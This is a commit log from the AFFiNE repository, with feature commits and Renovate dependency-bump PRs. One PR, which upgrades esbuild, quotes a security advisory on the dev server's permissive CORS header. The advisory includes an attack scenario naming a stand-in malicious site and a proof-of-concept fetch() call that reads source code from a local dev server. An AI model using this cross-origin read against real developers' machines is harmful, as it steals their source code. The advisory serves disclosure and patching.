2025-02-11 06:16:51 +00:00
Yifeng Wang
53e5726d36 refactor(editor): move worker renderer to affine shared (#10081) 2025-02-11 14:16:17 +08:00
pengx17
d89d4a71dd feat(core): center peek open doc should only load doc when idle (#10023)
fix AF-2183
2025-02-11 04:56:23 +00:00
Brooooooklyn
b1d7128e2b chore: remove wrong hoistingLimits config for graphql package (#10077) 2025-02-11 04:38:53 +00:00
renovate
9f5abe6078 chore: bump up esbuild version to ^0.25.0 [SECURITY] (#10075)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [esbuild](https://redirect.github.com/evanw/esbuild) | [`^0.24.0` -> `^0.25.0`](https://renovatebot.com/diffs/npm/esbuild/0.24.2/0.25.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/esbuild/0.25.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/esbuild/0.25.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/esbuild/0.24.2/0.25.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/esbuild/0.24.2/0.25.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

### GitHub Vulnerability Alerts

#### [GHSA-67mh-4wv8-2f99](https://redirect.github.com/evanw/esbuild/security/advisories/GHSA-67mh-4wv8-2f99)

### Summary

esbuild allows any websites to send any request to the development server and read the response due to default CORS settings.

### Details

esbuild sets `Access-Control-Allow-Origin: *` header to all requests, including the SSE connection, which allows any websites to send any request to the development server and read the response.

df815ac27b/pkg/api/serve_other.go (L121)
df815ac27b/pkg/api/serve_other.go (L363)

**Attack scenario**:

1. The attacker serves a malicious web page (`http://malicious.example.com`).
1. The user accesses the malicious web page.
1. The attacker sends a `fetch('http://127.0.0.1:8000/main.js')` request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.
1. The attacker gets the content of `http://127.0.0.1:8000/main.js`.

In this scenario, I assumed that the attacker knows the URL of the bundle output file name. But the attacker can also get that information by

- Fetching `/index.html`: normally you have a script tag here
- Fetching `/assets`: it's common to have a `assets` directory when you have JS files and CSS files in a different directory and the directory listing feature tells the attacker the list of files
- Connecting `/esbuild` SSE endpoint: the SSE endpoint sends the URL path of the changed files when the file is changed (`new EventSource('/esbuild').addEventListener('change', e => console.log(e.type, e.data))`)
- Fetching URLs in the known file: once the attacker knows one file, the attacker can know the URLs imported from that file

The scenario above fetches the compiled content, but if the victim has the source map option enabled, the attacker can also get the non-compiled content by fetching the source map file.

### PoC

1. Download [reproduction.zip](https://redirect.github.com/user-attachments/files/18561484/reproduction.zip)
2. Extract it and move to that directory
1. Run `npm i`
1. Run `npm run watch`
1. Run `fetch('http://127.0.0.1:8000/app.js').then(r => r.text()).then(content => console.log(content))` in a different website's dev tools.

![image](https://redirect.github.com/user-attachments/assets/08fc2e4d-e1ec-44ca-b0ea-78a73c3c40e9)

### Impact

Users using the serve feature may get the source code stolen by malicious websites.

---

### Release Notes

<details>
<summary>evanw/esbuild (esbuild)</summary>

### [`v0.25.0`](https://redirect.github.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#v0250)

[Compare Source](https://redirect.github.com/evanw/esbuild/compare/v0.24.2...v0.25.0)

**This release deliberately contains backwards-incompatible changes.** To avoid automatically picking up releases like this, you should either be pinning the exact version of `esbuild` in your `package.json` file (recommended) or be using a version range syntax that only accepts patch upgrades such as `^0.24.0` or `~0.24.0`. See npm's documentation about [semver](https://docs.npmjs.com/cli/v6/using-npm/semver/) for more information.

-   Restrict access to esbuild's development server ([GHSA-67mh-4wv8-2f99](https://redirect.github.com/evanw/esbuild/security/advisories/GHSA-67mh-4wv8-2f99))

    This change addresses esbuild's first security vulnerability report. Previously esbuild set the `Access-Control-Allow-Origin` header to `*` to allow esbuild's development server to be flexible in how it's used for development. However, this allows the websites you visit to make HTTP requests to esbuild's local development server, which gives read-only access to your source code if the website were to fetch your source code's specific URL. You can read more information in [the report](https://redirect.github.com/evanw/esbuild/security/advisories/GHSA-67mh-4wv8-2f99).

    Starting with this release, [CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) will now be disabled, and requests will now be denied if the host does not match the one provided to `--serve=`. The default host is `0.0.0.0`, which refers to all of the IP addresses that represent the local machine (e.g. both `127.0.0.1` and `192.168.0.1`). If you want to customize anything about esbuild's development server, you can [put a proxy in front of esbuild](https://esbuild.github.io/api/#serve-proxy) and modify the incoming and/or outgoing requests.

    In addition, the `serve()` API call has been changed to return an array of `hosts` instead of a single `host` string. This makes it possible to determine all of the hosts that esbuild's development server will accept.

    Thanks to [@&#8203;sapphi-red](https://redirect.github.com/sapphi-red) for reporting this issue.

-   Delete output files when a build fails in watch mode ([#&#8203;3643](https://redirect.github.com/evanw/esbuild/issues/3643))

    It has been requested for esbuild to delete files when a build fails in watch mode. Previously esbuild left the old files in place, which could cause people to not immediately realize that the most recent build failed. With this release, esbuild will now delete all output files if a rebuild fails. Fixing the build error and triggering another rebuild will restore all output files again.

-   Fix correctness issues with the CSS nesting transform ([#&#8203;3620](https://redirect.github.com/evanw/esbuild/issues/3620), [#&#8203;3877](https://redirect.github.com/evanw/esbuild/issues/3877), [#&#8203;3933](https://redirect.github.com/evanw/esbuild/issues/3933), [#&#8203;3997](https://redirect.github.com/evanw/esbuild/issues/3997), [#&#8203;4005](https://redirect.github.com/evanw/esbuild/issues/4005), [#&#8203;4037](https://redirect.github.com/evanw/esbuild/pull/4037), [#&#8203;4038](https://redirect.github.com/evanw/esbuild/pull/4038))

    This release fixes the following problems:

    -   Naive expansion of CSS nesting can result in an exponential blow-up of generated CSS if each nesting level has multiple selectors. Previously esbuild sometimes collapsed individual nesting levels using `:is()` to limit expansion. However, this collapsing wasn't correct in some cases, so it has been removed to fix correctness issues.

        ```css
        /* Original code */
        .parent {
          > .a,
          > .b1 > .b2 {
            color: red;
          }
        }

        /* Old output (with --supported:nesting=false) */
        .parent > :is(.a, .b1 > .b2) {
          color: red;
        }

        /* New output (with --supported:nesting=false) */
        .parent > .a,
        .parent > .b1 > .b2 {
          color: red;
        }
        ```

        Thanks to [@&#8203;tim-we](https://redirect.github.com/tim-we) for working on a fix.

    -   The `&` CSS nesting selector can be repeated multiple times to increase CSS specificity. Previously esbuild ignored this possibility and incorrectly considered `&&` to have the same specificity as `&`. With this release, this should now work correctly:

        ```css
        /* Original code (color should be red) */
        div {
          && { color: red }
          & { color: blue }
        }

        /* Old output (with --supported:nesting=false) */
        div {
          color: red;
        }
        div {
          color: blue;
        }

        /* New output (with --supported:nesting=false) */
        div:is(div) {
          color: red;
        }
        div {
          color: blue;
        }
        ```

        Thanks to [@&#8203;CPunisher](https://redirect.github.com/CPunisher) for working on a fix.

    -   Previously transforming nested CSS incorrectly removed leading combinators from within pseudoclass selectors such as `:where()`. This edge case has been fixed and how has test coverage.

        ```css
        /* Original code */
        a b:has(> span) {
          a & {
            color: green;
          }
        }

        /* Old output (with --supported:nesting=false) */
        a :is(a b:has(span)) {
          color: green;
        }

        /* New output (with --supported:nesting=false) */
        a :is(a b:has(> span)) {
          color: green;
        }
        ```

        This fix was contributed by [@&#8203;NoremacNergfol](https://redirect.github.com/NoremacNergfol).

    -   The CSS minifier contains logic to remove the `&` selector when it can be implied, which happens when there is only one and it's the leading token. However, this logic was incorrectly also applied to selector lists inside of pseudo-class selectors such as `:where()`. With this release, the minifier will now avoid applying this logic in this edge case:

        ```css
        /* Original code */
        .a {
          & .b { color: red }
          :where(& .b) { color: blue }
        }

        /* Old output (with --minify) */
        .a{.b{color:red}:where(.b){color:#&#8203;00f}}

        /* New output (with --minify) */
        .a{.b{color:red}:where(& .b){color:#&#8203;00f}}
        ```

-   Fix some correctness issues with source maps ([#&#8203;1745](https://redirect.github.com/evanw/esbuild/issues/1745), [#&#8203;3183](https://redirect.github.com/evanw/esbuild/issues/3183), [#&#8203;3613](https://redirect.github.com/evanw/esbuild/issues/3613), [#&#8203;3982](https://redirect.github.com/evanw/esbuild/issues/3982))

    Previously esbuild incorrectly treated source map path references as file paths instead of as URLs. With this release, esbuild will now treat source map path references as URLs. This fixes the following problems with source maps:

    -   File names in `sourceMappingURL` that contained a space previously did not encode the space as `%20`, which resulted in JavaScript tools (including esbuild) failing to read that path back in when consuming the generated output file. This should now be fixed.

    -   Absolute URLs in `sourceMappingURL` that use the `file://` scheme previously attempted to read from a folder called `file:`. These URLs should now be recognized and parsed correctly.

    -   Entries in the `sources` array in the source map are now treated as URLs instead of file paths. The correct behavior for this is much more clear now that source maps has a [formal specification](https://tc39.es/ecma426/). Many thanks to those who worked on the specification.

-   Fix incorrect package for `@esbuild/netbsd-arm64` ([#&#8203;4018](https://redirect.github.com/evanw/esbuild/issues/4018))

    Due to a copy+paste typo, the binary published to `@esbuild/netbsd-arm64` was not actually for `arm64`, and didn't run in that environment. This release should fix running esbuild in that environment (NetBSD on 64-bit ARM). Sorry about the mistake.

-   Fix a minification bug with bitwise operators and bigints ([#&#8203;4065](https://redirect.github.com/evanw/esbuild/issues/4065))

    This change removes an incorrect assumption in esbuild that all bitwise operators result in a numeric integer. That assumption was correct up until the introduction of bigints in ES2020, but is no longer correct because almost all bitwise operators now operate on both numbers and bigints. Here's an example of the incorrect minification:

    ```js
    // Original code
    if ((a & b) !== 0) found = true

    // Old output (with --minify)
    a&b&&(found=!0);

    // New output (with --minify)
    (a&b)!==0&&(found=!0);
    ```

-   Fix esbuild incorrectly rejecting valid TypeScript edge case ([#&#8203;4027](https://redirect.github.com/evanw/esbuild/issues/4027))

    The following TypeScript code is valid:

    ```ts
    export function open(async?: boolean): void {
      console.log(async as boolean)
    }
    ```

    Before this version, esbuild would fail to parse this with a syntax error as it expected the token sequence `async as ...` to be the start of an async arrow function expression `async as => ...`. This edge case should be parsed correctly by esbuild starting with this release.

-   Transform BigInt values into constructor calls when unsupported ([#&#8203;4049](https://redirect.github.com/evanw/esbuild/issues/4049))

    Previously esbuild would refuse to compile the BigInt literals (such as `123n`) if they are unsupported in the configured target environment (such as with `--target=es6`). The rationale was that they cannot be polyfilled effectively because they change the behavior of JavaScript's arithmetic operators and JavaScript doesn't have operator overloading.

    However, this prevents using esbuild with certain libraries that would otherwise work if BigInt literals were ignored, such as with old versions of the [`buffer` library](https://redirect.github.com/feross/buffer) before the library fixed support for running in environments without BigInt support. So with this release, esbuild will now turn BigInt literals into BigInt constructor calls (so `123n` becomes `BigInt(123)`) and generate a warning in this case. You can turn off the warning with `--log-override:bigint=silent` or restore the warning to an error with `--log-override:bigint=error` if needed.

-   Change how `console` API dropping works ([#&#8203;4020](https://redirect.github.com/evanw/esbuild/issues/4020))

    Previously the `--drop:console` feature replaced all method calls off of the `console` global with `undefined` regardless of how long the property access chain was (so it applied to `console.log()` and `console.log.call(console)` and `console.log.not.a.method()`). However, it was pointed out that this breaks uses of `console.log.bind(console)`. That's also incompatible with Terser's implementation of the feature, which is where this feature originally came from (it does support `bind`). So with this release, using this feature with esbuild will now only replace one level of method call (unless extended by `call` or `apply`) and will replace the method being called with an empty function in complex cases:

    ```js
    // Original code
    const x = console.log('x')
    const y = console.log.call(console, 'y')
    const z = console.log.bind(console)('z')

    // Old output (with --drop-console)
    const x = void 0;
    const y = void 0;
    const z = (void 0)("z");

    // New output (with --drop-console)
    const x = void 0;
    const y = void 0;
    const z = (() => {
    }).bind(console)("z");
    ```

    This should more closely match Terser's existing behavior.

-   Allow BigInt literals as `define` values

    With this release, you can now use BigInt literals as define values, such as with `--define:FOO=123n`. Previously trying to do this resulted in a syntax error.

-   Fix a bug with resolve extensions in `node_modules` ([#&#8203;4053](https://redirect.github.com/evanw/esbuild/issues/4053))

    The `--resolve-extensions=` option lets you specify the order in which to try resolving implicit file extensions. For complicated reasons, esbuild reorders TypeScript file extensions after JavaScript ones inside of `node_modules` so that JavaScript source code is always preferred to TypeScript source code inside of dependencies. However, this reordering had a bug that could accidentally change the relative order of TypeScript file extensions if one of them was a prefix of the other. That bug has been fixed in this release. You can see the issue for details.

-   Better minification of statically-determined `switch` cases ([#&#8203;4028](https://redirect.github.com/evanw/esbuild/issues/4028))

    With this release, esbuild will now try to trim unused code within `switch` statements when the test expression and `case` expressions are primitive literals. This can arise when the test expression is an identifier that is substituted for a primitive literal at compile time. For example:

    ```js
    // Original code
    switch (MODE) {
      case 'dev':
        installDevToolsConsole()
        break
      case 'prod':
        return
      default:
        throw new Error
    }

    // Old output (with --minify '--define:MODE="prod"')
    switch("prod"){case"dev":installDevToolsConsole();break;case"prod":return;default:throw new Error}

    // New output (with --minify '--define:MODE="prod"')
    return;
    ```

-   Emit `/* @&#8203;__KEY__ */` for string literals derived from property names ([#&#8203;4034](https://redirect.github.com/evanw/esbuild/issues/4034))

    Property name mangling is an advanced feature that shortens certain property names for better minification (I say "advanced feature" because it's very easy to break your code with it). Sometimes you need to store a property name in a string, such as `obj.get('foo')` instead of `obj.foo`. JavaScript minifiers such as esbuild and [Terser](https://terser.org/) have a convention where a `/* @&#8203;__KEY__ */` comment before the string makes it behave like a property name. So `obj.get(/* @&#8203;__KEY__ */ 'foo')` allows the contents of the string `'foo'` to be shortened.

    However, esbuild sometimes itself generates string literals containing property names when transforming code, such as when lowering class fields to ES6 or when transforming TypeScript decorators. Previously esbuild didn't generate its own `/* @&#8203;__KEY__ */` comments in this case, which means that minifying your code by running esbuild again on its own output wouldn't work correctly (this does not affect people that both minify and transform their code in a single step).

    With this release, esbuild will now generate `/* @&#8203;__KEY__ */` comments for property names in generated string literals. To avoid lots of unnecessary output for people that don't use this advanced feature, the generated comments will only be present when the feature is active. If you want to generate the comments but not actually mangle any property names, you can use a flag that has no effect such as `--reserve-props=.`, which tells esbuild to not mangle any property names (but still activates this feature).

-   The `text` loader now strips the UTF-8 BOM if present ([#&#8203;3935](https://redirect.github.com/evanw/esbuild/issues/3935))

    Some software (such as Notepad on Windows) can create text files that start with the three bytes `0xEF 0xBB 0xBF`, which is referred to as the "byte order mark". This prefix is intended to be removed before using the text. Previously esbuild's `text` loader included this byte sequence in the string, which turns into a prefix of `\uFEFF` in a JavaScript string when decoded from UTF-8. With this release, esbuild's `text` loader will now remove these bytes when they occur at the start of the file.

-   Omit legal comment output files when empty ([#&#8203;3670](https://redirect.github.com/evanw/esbuild/issues/3670))

    Previously configuring esbuild with `--legal-comment=external` or `--legal-comment=linked` would always generate a `.LEGAL.txt` output file even if it was empty. Starting with this release, esbuild will now only do this if the file will be non-empty. This should result in a more organized output directory in some cases.

-   Update Go from 1.23.1 to 1.23.5 ([#&#8203;4056](https://redirect.github.com/evanw/esbuild/issues/4056), [#&#8203;4057](https://redirect.github.com/evanw/esbuild/pull/4057))

    This should have no effect on existing code as this version change does not change Go's operating system support. It may remove certain reports from vulnerability scanners that detect which version of the Go compiler esbuild uses.

    This PR was contributed by [@&#8203;MikeWillCook](https://redirect.github.com/MikeWillCook).

-   Allow passing a port of 0 to the development server ([#&#8203;3692](https://redirect.github.com/evanw/esbuild/issues/3692))

    Unix sockets interpret a port of 0 to mean "pick a random unused port in the [ephemeral port](https://en.wikipedia.org/wiki/Ephemeral_port) range". However, esbuild's default behavior when the port is not specified is to pick the first unused port starting from 8000 and upward. This is more convenient because port 8000 is typically free, so you can for example restart the development server and reload your app in the browser without needing to change the port in the URL. Since esbuild is written in Go (which does not have optional fields like JavaScript), not specifying the port in Go means it defaults to 0, so previously passing a port of 0 to esbuild caused port 8000 to be picked.

    Starting with this release, passing a port of 0 to esbuild when using the CLI or the JS API will now pass port 0 to the OS, which will pick a random ephemeral port. To make this possible, the `Port` option in the Go API has been changed from `uint16` to `int` (to allow for additional sentinel values) and passing a port of -1 in Go now picks a random port. Both the CLI and JS APIs now remap an explicitly-provided port of 0 into -1 for the internal Go API.

    Another option would have been to change `Port` in Go from `uint16` to `*uint16` (Go's closest equivalent of `number | undefined`). However, that would make the common case of providing an explicit port in Go very awkward as Go doesn't support taking the address of integer constants. This tradeoff isn't worth it as picking a random ephemeral port is a rare use case. So the CLI and JS APIs should now match standard Unix behavior when the port is 0, but you need to use -1 instead with Go API.

-   Minification now avoids inlining constants with direct `eval` ([#&#8203;4055](https://redirect.github.com/evanw/esbuild/issues/4055))

    Direct `eval` can be used to introduce a new variable like this:

    ```js
    const variable = false
    ;(function () {
      eval("var variable = true")
      console.log(variable)
    })()
    ```

    Previously esbuild inlined `variable` here (which became `false`), which changed the behavior of the code. This inlining is now avoided, but please keep in mind that direct `eval` breaks many assumptions that JavaScript tools hold about normal code (especially when bundling) and I do not recommend using it. There are usually better alternatives that have a more localized impact on your code. You can read more about this here: https://esbuild.github.io/link/direct-eval/

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNjQuMSIsInVwZGF0ZWRJblZlciI6IjM5LjE2NC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-11 04:09:28 +00:00
Table bird
589fc32746 build: fix install homebrew error of abort "Don't run this as root!" (#10076) 2025-02-11 12:08:56 +08:00
fengmk2
c8c7b7b65c feat(server): use x-cloud-trace-context instead of x-rpc-trace-id (#10068)
x-cloud-trace-context will be overwritten by lb,
and cannot be fake from internet access request

![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/hTwOityLamd4hitrae7M/6d3c47c1-ac9e-4bc9-a7f1-2be8f56dbf69.png)
2025-02-11 03:50:23 +00:00
Yifeng Wang
f7335d8cb6 refactor(editor): switch worker renderer debug ui to tweakpane (#10074) 2025-02-11 11:13:32 +08:00
pengx17
c5c59ba00a fix(core): adjust settings names (#10061)
fix AF-2190
2025-02-11 02:14:10 +00:00
fengmk2
7214ef9fbc fix(server): only handle doc.snapshot.updated event on renderer (#10062)
before

![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/hTwOityLamd4hitrae7M/0345e2e0-85fb-45a2-a917-be0cb1731907.png)

after

![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/hTwOityLamd4hitrae7M/fd49d1b4-2970-4b86-aca1-4c40da3d0988.png)
2025-02-11 00:18:08 +00:00
doodlewind
9bf1e38e94 chore(editor): simplify legacy playground build config (#10044)
This should allow for simpler migration of the `@blocksuite/playground` vite environment.
2025-02-10 23:38:40 +00:00
Saul-Mirone
c6b8f2b584 refactor(editor): flat data for table block (#10010)
close: BS-2548
2025-02-10 19:09:33 +00:00
L-Sun
a5f36eb1d8 refactor(editor): configurable page block title (#10063)
### What changes
- make page block title rendering configurable so that a journal title can be rendered by AFFiNE side.
- move page block render logic to a seperate component
2025-02-10 18:17:28 +00:00
pengx17
fd25cd875b feat: focus the create page item when query returns no result in at menu (#10060)
fix AF-2191
2025-02-10 15:51:56 +00:00
CatsJuice
f774868f0e feat(core): make some tabs in sidebar persistent for all docs page (#10014)
close AF-2164

![CleanShot 2025-02-07 at 14.23.36.gif](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/LakojjjzZNf6ogjOVwKE/deb15a06-32e9-40bf-8a15-07a3c2fa8227.gif)
2025-02-10 14:58:27 +00:00
zzj3720
c78d6b81c6 feat(editor): table block supports drag-and-drop sorting (#10065)
close: BS-2477
2025-02-10 14:14:53 +00:00
renovate
964f2e1bfd chore: bump up nestjs (#10059)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@nestjs-cls/transactional](https://papooch.github.io/nestjs-cls/) ([source](https://redirect.github.com/Papooch/nestjs-cls)) | [`2.4.9` -> `2.4.10`](https://renovatebot.com/diffs/npm/@nestjs-cls%2ftransactional/2.4.9/2.4.10) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs-cls%2ftransactional/2.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs-cls%2ftransactional/2.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs-cls%2ftransactional/2.4.9/2.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs-cls%2ftransactional/2.4.9/2.4.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs-cls/transactional-adapter-prisma](https://papooch.github.io/nestjs-cls/) ([source](https://redirect.github.com/Papooch/nestjs-cls)) | [`1.2.12` -> `1.2.13`](https://renovatebot.com/diffs/npm/@nestjs-cls%2ftransactional-adapter-prisma/1.2.12/1.2.13) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs-cls%2ftransactional-adapter-prisma/1.2.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs-cls%2ftransactional-adapter-prisma/1.2.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs-cls%2ftransactional-adapter-prisma/1.2.12/1.2.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs-cls%2ftransactional-adapter-prisma/1.2.12/1.2.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>Papooch/nestjs-cls (@&#8203;nestjs-cls/transactional)</summary>

### [`v2.4.10`](https://redirect.github.com/Papooch/nestjs-cls/releases/tag/%40nestjs-cls/transactional%402.4.10)

[Compare Source](https://redirect.github.com/Papooch/nestjs-cls/compare/@nestjs-cls/transactional@2.4.9...@nestjs-cls/transactional@2.4.10)

##### Dependencies

-   allow nestjs 10 as peer dependency ([b7057cb](https://redirect.github.com/Papooch/nestjs-cls/commits/b7057cb))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNjQuMSIsInVwZGF0ZWRJblZlciI6IjM5LjE2NC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-10 13:41:16 +00:00
renovate
08ecc54d67 chore: bump up all non-major dependencies (#10004)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence | Type | Update |
|---|---|---|---|---|---|---|---|
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.743.0` -> `3.744.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.743.0/3.744.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@aws-sdk%2fclient-s3/3.744.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@aws-sdk%2fclient-s3/3.744.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@aws-sdk%2fclient-s3/3.743.0/3.744.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@aws-sdk%2fclient-s3/3.743.0/3.744.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@capgo/inappbrowser](https://redirect.github.com/Cap-go/capacitor-inappbrowser) | [`7.1.6` -> `7.2.15`](https://renovatebot.com/diffs/npm/@capgo%2finappbrowser/7.1.6/7.2.15) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capgo%2finappbrowser/7.2.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capgo%2finappbrowser/7.2.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capgo%2finappbrowser/7.1.6/7.2.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capgo%2finappbrowser/7.1.6/7.2.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@eslint/js](https://eslint.org) ([source](https://redirect.github.com/eslint/eslint/tree/HEAD/packages/js)) | [`9.19.0` -> `9.20.0`](https://renovatebot.com/diffs/npm/@eslint%2fjs/9.19.0/9.20.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@eslint%2fjs/9.20.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@eslint%2fjs/9.20.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@eslint%2fjs/9.19.0/9.20.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@eslint%2fjs/9.19.0/9.20.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@swc/core](https://swc.rs) ([source](https://redirect.github.com/swc-project/swc)) | [`1.10.14` -> `1.10.15`](https://renovatebot.com/diffs/npm/@swc%2fcore/1.10.14/1.10.15) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@swc%2fcore/1.10.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@swc%2fcore/1.10.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@swc%2fcore/1.10.14/1.10.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@swc%2fcore/1.10.14/1.10.15?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@tailwindcss/postcss](https://tailwindcss.com) ([source](https://redirect.github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-postcss)) | [`4.0.4` -> `4.0.5`](https://renovatebot.com/diffs/npm/@tailwindcss%2fpostcss/4.0.4/4.0.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@tailwindcss%2fpostcss/4.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@tailwindcss%2fpostcss/4.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@tailwindcss%2fpostcss/4.0.4/4.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@tailwindcss%2fpostcss/4.0.4/4.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@vitejs/plugin-react-swc](https://redirect.github.com/vitejs/vite-plugin-react-swc) | [`3.7.2` -> `3.8.0`](https://renovatebot.com/diffs/npm/@vitejs%2fplugin-react-swc/3.7.2/3.8.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vitejs%2fplugin-react-swc/3.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vitejs%2fplugin-react-swc/3.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vitejs%2fplugin-react-swc/3.7.2/3.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vitejs%2fplugin-react-swc/3.7.2/3.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [esbuild](https://redirect.github.com/evanw/esbuild) | [`^0.24.0` -> `^0.25.0`](https://renovatebot.com/diffs/npm/esbuild/0.24.2/0.25.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/esbuild/0.25.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/esbuild/0.25.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/esbuild/0.24.2/0.25.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/esbuild/0.24.2/0.25.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
